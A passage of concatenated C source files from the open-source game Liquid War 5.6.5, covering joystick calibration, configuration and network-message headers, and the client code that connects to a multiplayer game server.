JOYSTICK_CONTROL_JOY1_RIGHT = (joy[0].stick[0].axis[0].pos > (JOY1_MAX_X + 2 * JOY1_MID_X) / 3) ? 1 : 0; JOYSTICK_CONTROL_JOY1_DOWN = (joy[0].stick[0].axis[1].pos > (JOY1_MAX_Y + 2 * JOY1_MID_Y) / 3) ? 1 : 0; JOYSTICK_CONTROL_JOY1_LEFT = (joy[0].stick[0].axis[0].pos < (JOY1_MIN_X + 2 * JOY1_MID_X) / 3) ? 1 : 0; } } if (joy[0].num_buttons >= 2) { JOYSTICK_CONTROL_JOY1_B1 = joy[0].button[0].b; JOYSTICK_CONTROL_JOY1_B2 = joy[0].button[1].b; } if (joy[0].num_buttons >= 4) { JOYSTICK_CONTROL_JOY1_B3 = joy[0].button[2].b; JOYSTICK_CONTROL_JOY1_B4 = joy[0].button[3].b; } } if (num_joysticks >= 2) { if (joy[1].num_sticks >= 1) { if (joy[1].stick[0].num_axis >= 2) { JOY2_MIN_X = MIN (joy[1].stick[0].axis[0].pos, JOY2_MIN_X); JOY2_MAX_X = MAX (joy[1].stick[0].axis[0].pos, JOY2_MAX_X); JOY2_MID_Y = (JOY2_MIN_X + JOY2_MAX_X) / 2; JOY2_MIN_Y = MIN (joy[1].stick[0].axis[1].pos, JOY2_MIN_Y); JOY2_MAX_Y = MAX (joy[1].stick[0].axis[1].pos, JOY2_MAX_Y); JOY2_MID_Y = (JOY2_MIN_Y + JOY2_MAX_Y) / 2; JOYSTICK_CONTROL_JOY2_UP = (joy[1].stick[0].axis[1].pos < (JOY2_MIN_Y + 2 * JOY2_MID_Y) / 3) ? 1 : 0; JOYSTICK_CONTROL_JOY2_RIGHT = (joy[1].stick[0].axis[0].pos > (JOY2_MAX_X + 2 * JOY2_MID_X) / 3) ? 1 : 0; JOYSTICK_CONTROL_JOY2_DOWN = (joy[1].stick[0].axis[1].pos > (JOY2_MAX_Y + 2 * JOY2_MID_Y) / 3) ? 1 : 0; JOYSTICK_CONTROL_JOY2_LEFT = (joy[1].stick[0].axis[0].pos < (JOY2_MIN_X + 2 * JOY2_MID_X) / 3) ? 1 : 0; } } if (joy[0].num_buttons >= 2) { JOYSTICK_CONTROL_JOY2_B1 = joy[1].button[0].b; JOYSTICK_CONTROL_JOY2_B2 = joy[1].button[1].b; } } } } liquidwar-5.6.5/src/config.h0000664000372000037200000001563513407756104015360 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : config.h */ /* contenu : chargement des donnees de configuration */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CONFIG #define LIQUID_WAR_INCLUDE_CONFIG /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" #include "netconf.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* variables du fichier de configuration */ /*------------------------------------------------------------------*/ #define SERVER_ADDRESS_SIZE 50 extern int CONFIG_GFX_GAME; extern int CONFIG_GFX_MENU; extern int CONFIG_FULLSCREEN; extern int CONFIG_VIEWPORT_SIZE; extern int CONFIG_WAVE_NUMBER[4]; extern int CONFIG_WAVE_AMPLI[4]; extern int CONFIG_WAVE_SPEED[4]; extern int CONFIG_BRIGHTNESS; extern int CONFIG_CURSOR_INCREASE_SPEED; extern int CONFIG_FIGHTER_ATTACK; extern int CONFIG_FIGHTER_DEFENSE; extern int CONFIG_FIGHTER_NEW_HEALTH; extern int CONFIG_NUMBER_INFLUENCE; extern int CONFIG_SFX_VOLUME; extern int CONFIG_CLICK_VOLUME; extern int CONFIG_WATER_VOLUME_MENU; extern int CONFIG_WATER_VOLUME_GAME; extern int CONFIG_MUSIC_VOLUME; extern int CONFIG_LEVEL_MAP; extern int CONFIG_LEVEL_FG; extern int CONFIG_LEVEL_BG; extern int CONFIG_FIGHTER_NUMBER; extern int CONFIG_KEY_UP[NB_TEAMS]; extern int CONFIG_KEY_LEFT[NB_TEAMS]; extern int CONFIG_KEY_DOWN[NB_TEAMS]; extern int CONFIG_KEY_RIGHT[NB_TEAMS]; extern int CONFIG_TEAM_COLOR[NB_TEAMS]; extern int CONFIG_CONTROL_TYPE[NB_TEAMS]; extern char CONFIG_PLAYER_NAME[NB_TEAMS][NAME_SIZE + 1]; extern int CONFIG_GAME_TIME; extern int CONFIG_INFO_BAR; extern int CONFIG_MOUSE_GAP; extern int CONFIG_JOYSTICK_ON; extern int CONFIG_CPU_ADVANTAGE; extern int CONFIG_CPU_VS_HUMAN;; extern int CONFIG_PAGE_FLIP; extern int CONFIG_LANGUAGE; extern int CONFIG_WAVE_ON; extern int CONFIG_FRAMES_PER_SEC_LIMIT; extern int CONFIG_ROUNDS_PER_SEC_LIMIT; extern char CONFIG_SERVER_ADDRESS[SERVER_ADDRESS_SIZE + 1]; extern int CONFIG_SERVER_PORT; extern int CONFIG_ASM_ALGORITHM; extern char CONFIG_PASSWORD[PASSWORD_SIZE + 1]; extern int CONFIG_MIN_MAP_RES; extern int CONFIG_USE_DEFAULT_TEXTURE; extern int CONFIG_ALLOW_NETWORK_BOTS; extern int CONFIG_LW6_ADVERTISING_SKIP; extern int CONFIG_LW6_ADVERTISING_DONE; #define CONFIG_CONTROL_TYPE_OFF 0 #define CONFIG_CONTROL_TYPE_HUMAN 1 #define CONFIG_CONTROL_TYPE_CPU 2 #define CONFIG_CPU_VS_HUMAN_ALWAYS 0 #define CONFIG_CPU_VS_HUMAN_RANDOM 1 #define CONFIG_CPU_VS_HUMAN_NEVER 2 extern LW_NETCONF LW_CONFIG_CURRENT_RULES; /*==================================================================*/ /* constantes globales */ /*==================================================================*/ extern int DISPLAY_DELAY_MIN[9]; extern int LOGIC_DELAY_MIN[9]; extern int MIN_MAP_RES_W[9]; extern int MIN_MAP_RES_H[9]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void load_default_options (void); void load_default_rules (void); int load_config_options (void); int save_config_options (void); void check_config_range (void); void lw_config_set_current_rules_to_default (void); #endif liquidwar-5.6.5/src/netmess.h0000664000372000037200000001617713407756104015573 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netmess.h */ /* content : functions to create and parse network messages */ /* last update : April 14th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETMESS #define LIQUID_WAR_INCLUDE_NETMESS /*==================================================================*/ /* structs */ /*==================================================================*/ /* * This structure is used to retrieve the informations about a * network message. The advantage of using this is that it makes * various checks about the syntax of messages and one can use * C switches on the message code since it's an integer. * Without this one would spent one's time writting boring code * full of "strcmp" and the likes... */ typedef struct { int argc; /* the number of arguments */ int code; /* the code of the command (ex: LW_NETMESS_CODE_OK) */ char **argv; /* the parsed arguments, like in the main() func */ } LW_NETMESS; /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETMESS_CODE_UNKNOWN 0 #define LW_NETMESS_CODE_OK 1 #define LW_NETMESS_CODE_ERR 2 #define LW_NETMESS_CODE_PING 3 #define LW_NETMESS_CODE_ECHO 4 #define LW_NETMESS_CODE_PROGRAM 5 #define LW_NETMESS_CODE_VERSION 6 #define LW_NETMESS_CODE_PASSWORD 7 #define LW_NETMESS_CODE_FREE 8 #define LW_NETMESS_CODE_TEAM 9 #define LW_NETMESS_CODE_READY 10 #define LW_NETMESS_CODE_START 11 #define LW_NETMESS_CODE_WAITING 12 #define LW_NETMESS_CODE_NEXT 13 #define LW_NETMESS_CODE_TEAMSTARTINFO 14 #define LW_NETMESS_CODE_WHO 15 #define LW_NETMESS_CODE_LOCAL 16 #define LW_NETMESS_CODE_NETWORK 17 #define LW_NETMESS_CODE_NOBODY 18 #define LW_NETMESS_CODE_SENDMAP 19 #define LW_NETMESS_CODE_RECVMAP 20 #define LW_NETMESS_CODE_SENDCONFIG 21 #define LW_NETMESS_CODE_RECVCONFIG 22 #define LW_NETMESS_CODE_CHATTALK 23 #define LW_NETMESS_CODE_CHATLISTEN 24 #define LW_NETMESS_CODE_QUIT 25 #define LW_NETMESS_TEXT_OK "OK" #define LW_NETMESS_TEXT_ERR "ERR" #define LW_NETMESS_TEXT_PING "PING" #define LW_NETMESS_TEXT_ECHO "ECHO" #define LW_NETMESS_TEXT_PROGRAM "PROGRAM" #define LW_NETMESS_TEXT_VERSION "VERSION" #define LW_NETMESS_TEXT_PASSWORD "PASSWORD" #define LW_NETMESS_TEXT_FREE "FREE" #define LW_NETMESS_TEXT_TEAM "TEAM" #define LW_NETMESS_TEXT_READY "READY" #define LW_NETMESS_TEXT_START "START" #define LW_NETMESS_TEXT_WAITING "WAITING" #define LW_NETMESS_TEXT_NEXT "NEXT" #define LW_NETMESS_TEXT_TEAMSTARTINFO "TEAMSTARTINFO" #define LW_NETMESS_TEXT_WHO "WHO" #define LW_NETMESS_TEXT_LOCAL "LOCAL" #define LW_NETMESS_TEXT_NETWORK "NETWORK" #define LW_NETMESS_TEXT_NOBODY "NOBODY" #define LW_NETMESS_TEXT_SENDMAP "SENDMAP" #define LW_NETMESS_TEXT_RECVMAP "RECVMAP" #define LW_NETMESS_TEXT_SENDCONFIG "SENDCONFIG" #define LW_NETMESS_TEXT_RECVCONFIG "RECVCONFIG" #define LW_NETMESS_TEXT_CHATTALK "CHATTALK" #define LW_NETMESS_TEXT_CHATLISTEN "CHATLISTEN" #define LW_NETMESS_TEXT_QUIT "QUIT" /*==================================================================*/ /* functions */ /*==================================================================*/ extern LW_NETMESS *lw_netmess_read (char *message); extern void lw_netmess_free (LW_NETMESS * ptr); extern void lw_netmess_cleanup_arg (char *string); #endif liquidwar-5.6.5/src/internet.h0000664000372000037200000000762513407756104015743 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : internet.c */ /* content : menu with the list of current internet games */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_INCLUDE #define LIQUID_WAR_INCLUDE_INCLUDE /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int internet_find (void); #endif liquidwar-5.6.5/src/netplay.c0000664000372000037200000003576713407756104015572 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : netplay.c */ /* content : function which launches a network game */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "help.h" #include "menu.h" #include "play.h" #include "disk.h" #include "protocol.h" #include "sockgen.h" #include "server.h" #include "network.h" #include "keyexch.h" #include "error.h" #include "internet.h" #include "netplay.h" #include "lang.h" #include "log.h" #include "connect.h" #include "thrdgen.h" #include "exit.h" #include "capture.h" #include "random.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETPLAY_DELAY 10 /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; char address[LW_SOCK_IP_SIZE]; int port; int running; int allow_exit; int free_data; int result; } LW_NETPLAY_CONNECT_DATA; /*==================================================================*/ /* static functions */ /*==================================================================*/ static int connect_on_server_start (int *sock, char *ip, int port); static int connect_on_server_continue (int sock); static void connect_on_server_start_callback (void *arg); static int connect_on_server_finish (int sock); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * The equivalent of play_sequence, but for a network game. * Basically, this is the function called when you press "play" * to launch a network game. */ int netplay_sequence () { int sock = -1; int result = 0; lw_config_set_current_rules_to_default (); if (connect_on_server_start (&sock, CONFIG_SERVER_ADDRESS, CONFIG_SERVER_PORT)) { if (connect_on_server_continue (sock)) { result = lw_connect_menu (sock); if (result == MENU_OK) { if (connect_on_server_finish (sock)) { LW_NETWORK_ON = 1; lw_network_attribute_colors (); lw_network_attribute_parts (); result = play_sequence_ex (); } } } } LW_KEYEXCH_SOCK = -1; lw_sock_close (&sock); return result; } /*------------------------------------------------------------------*/ /* * Opens the socket on the server. This is a little complex, for we * fire an extra thread so that if things go slow, the player can * use ESCAPE to stop everything. */ static int connect_on_server_start (int *sock, char *address, int port) { int result = 1; LW_NETPLAY_CONNECT_DATA *connect_data; LW_NETPLAY_CONNECT_DATA connect_data_stack; int esc_pressed = 0; connect_data = (LW_NETPLAY_CONNECT_DATA *) malloc (sizeof (LW_NETPLAY_CONNECT_DATA)); if (!connect_data) { /* * Couldn't allocate, fallback on stack data */ connect_data = &connect_data_stack; } connect_data->sock = -1; strncpy (connect_data->address, address, sizeof (connect_data->address)); connect_data->address[sizeof (connect_data->address) - 1] = '\0'; connect_data->port = port; connect_data->running = 0; connect_data->allow_exit = 0; connect_data->free_data = 1; connect_data->result = 0; display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_CONNECT)); connect_data->running = 1; if (connect_data != &connect_data_stack && lw_thread_start (connect_on_server_start_callback, connect_data)) { /* * Everything's OK, do nothing! */ } else { /* * Memory or thread error, we're in trouble, * we fallback on calling the function in the main thread * with the data allocated in the stack. */ connect_data->free_data = 0; connect_on_server_start_callback (connect_data); } /* * We wait until the thread is finished and/or the player * pressed ESC */ while (connect_data->running && !esc_pressed) { if (key[KEY_ESC]) { esc_pressed = 1; } /* * We call keypressed() to force Allegro to call automatically * poll_keyboard() if needed */ keypressed (); rest (LW_NETPLAY_DELAY); lw_capture_dump_menu (); my_exit_poll (); } result = connect_data->result; *sock = connect_data->sock; if (!result) { *sock = -1; if (!esc_pressed) { error_unable_to_connect (); } } /* * We tell the thread that it can exit whenever it wants, * we don't care, it has its own data... */ connect_data->allow_exit = 1; return result; } /*------------------------------------------------------------------*/ /* * Callback used by the thread launched by connect_on_server_start * to open the TCP/IP connection with the server */ static void connect_on_server_start_callback (void *arg) { LW_NETPLAY_CONNECT_DATA *connect_data; connect_data = (LW_NETPLAY_CONNECT_DATA *) arg; connect_data->result = lw_sock_connect (&(connect_data->sock), connect_data->address, connect_data->port); connect_data->running = 0; /* * Now we wait until the main threads tells us we can stop. * It's important for we must not free the data too early... */ while (!connect_data->allow_exit) { rest (LW_NETPLAY_DELAY); } if (connect_data->free_data) { free (connect_data); } } /*------------------------------------------------------------------*/ /* * Exchanges some messages with the server, * and displays message boxes to the player so that he has an idea * of what's going on. */ static int connect_on_server_continue (int sock) { int result = 1; int free_teams; int i; if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_PING)); if (!lw_protocol_do_ping (&sock)) { result = 0; error_not_a_liquidwar_server (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_CHECKPROGRAM)); if (!lw_protocol_tell_program (&sock, LW_PROGRAM)) { result = 0; error_not_a_liquidwar_server (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_CHECKVERSION)); if (!lw_protocol_tell_version (&sock, LW_VERSION)) { result = 0; error_wrong_version (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_SENDPASSWORD)); if (!lw_protocol_tell_password (&sock, CONFIG_PASSWORD)) { result = 0; error_bad_password (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_FREETEAMS)); if (lw_protocol_ask_free_teams (&sock, &free_teams)) { if (free_teams <= 0) { result = 0; error_server_full (); } } else { result = 0; error_network_problem (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_RESERVETEAMS)); for (i = 0; i < NB_TEAMS && free_teams > 0 && result == 1; ++i) { if (CONFIG_CONTROL_TYPE[i] == CONFIG_CONTROL_TYPE_HUMAN || ((CONFIG_CONTROL_TYPE[i] == CONFIG_CONTROL_TYPE_CPU) && CONFIG_ALLOW_NETWORK_BOTS)) { if (lw_protocol_reserve_team (&sock, i, CONFIG_CONTROL_TYPE[i], CONFIG_PLAYER_NAME[i])) { free_teams--; } else { result = 0; error_network_problem (); } } } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_SENDCONFIG)); if (!lw_protocol_send_config (&sock)) { result = 0; error_network_problem (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_SENDMAP)); if (!lw_protocol_send_map (&sock, LW_RANDOM_ON ? LW_RANDOM_RAW_MAP : RAW_MAP_ORDERED[CONFIG_LEVEL_MAP])) { result = 0; error_cant_send_map (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_WAITING)); if (!lw_protocol_i_am_ready (&sock)) { result = 0; error_network_problem (); } } /* * if the operation succeded, we set the global value LW_KEYEXCH_SOCK * to the right socket, otherwise functions from lw_keyech won't work... */ if (result) { LW_KEYEXCH_SOCK = sock; } else { LW_KEYEXCH_SOCK = -1; lw_sock_close (&sock); } return result; } /*------------------------------------------------------------------*/ /* * Retrieves informations from the server once all players are * connected. Also displays information in a dialog box. */ static int connect_on_server_finish (int sock) { int result = 1; int i; if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_WHOPLAYS)); for (i = 0; i < NB_TEAMS && result == 1; ++i) { if (!lw_protocol_ask_who (&sock, i, &(LW_NETWORK_INFO[i]))) { result = 0; error_network_problem (); } } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_RECVCONFIG)); if (!lw_protocol_recv_config (&sock)) { result = 0; error_network_problem (); } } if (result == 1) { if (!lw_netconf_check (&LW_CONFIG_CURRENT_RULES)) { result = 0; error_bad_config_range (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_RECVMAP)); if (!lw_protocol_recv_map (&sock, &LW_NETWORK_RAW_MAP)) { result = 0; error_cant_receive_map (); } } if (result == 1) { display_center_message (lw_lang_string (LW_LANG_STRING_NETPLAY_WAITING)); if (!lw_protocol_i_am_ready (&sock)) { result = 0; error_network_problem (); } } /* * We close the socket if something failed */ if (!result) { LW_KEYEXCH_SOCK = -1; lw_sock_close (&sock); } return result; } liquidwar-5.6.5/src/profile.h0000664000372000037200000001051013407756104015536 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : profile.h */ /* contenu : chronometrage des fonctions */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PROFILE #define LIQUID_WAR_INCLUDE_PROFILE /*==================================================================*/ /* constantes */ /*==================================================================*/ #define SPREAD_PROFILE 0 #define MOVE_PROFILE 1 #define DISP_PROFILE 2 #define FLIP_PROFILE 3 #define GLOBAL_PROFILE 4 #define MAX_PROFILE 256 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_all_profile (void); void reset_profile (int indice); void start_profile (int indice); void stop_profile (int indice); int get_profile (int indice); void update_logic_rate (int logic_number); int get_logic_rate (void); #endif liquidwar-5.6.5/src/exit.h0000664000372000037200000001066613407756104015063 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : exit.h */ /* contenu : fin d'allegro et messages d'adieu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_EXIT #define LIQUID_WAR_INCLUDE_EXIT /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ #define EXIT_CODE_OK 0 #define EXIT_CODE_INIT_FAIL 1 #define EXIT_CODE_MEM_TROUBLE 2 #define EXIT_CODE_BIG_DATA 3 #define EXIT_CODE_LOAD_FAIL 4 #define EXIT_CODE_CUSTOM_FAIL 5 #define EXIT_CODE_GRAPHICS_FAIL 6 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void my_exit_close_button (void); void my_exit_poll (); void my_exit (int code); #endif liquidwar-5.6.5/src/gfxmode.c0000664000372000037200000002050613407756104015530 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : gfxmode.c */ /* contenu : gestion des modes graphiques */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "base.h" #include "disk.h" #include "log.h" #include "gfxmode.h" #include "startup.h" #include "init.h" #include "mouse.h" #include "exit.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #ifdef DOS int GFX_MODE_W[5] = { 320, 360, 640, 800, 1024 }; int GFX_MODE_H[5] = { 240, 240, 480, 600, 768 }; #endif #ifdef WIN32 int GFX_MODE_W[5] = { 320, 512, 640, 800, 1024 }; int GFX_MODE_H[5] = { 240, 384, 480, 600, 768 }; #endif #ifdef UNIX #ifdef GP2X int GFX_MODE_W[5] = { 320, 320, 320, 320, 320 }; int GFX_MODE_H[5] = { 240, 240, 240, 240, 240 }; #else int GFX_MODE_W[5] = { 320, 512, 640, 800, 1024 }; int GFX_MODE_H[5] = { 240, 384, 480, 600, 768 }; #endif #endif #ifdef DOS static int GFX_MODE_TYPE_FULLSCREEN[] = { GFX_MODEX, GFX_MODEX, GFX_VESA2L, GFX_VESA2L, GFX_VESA2L }; static int 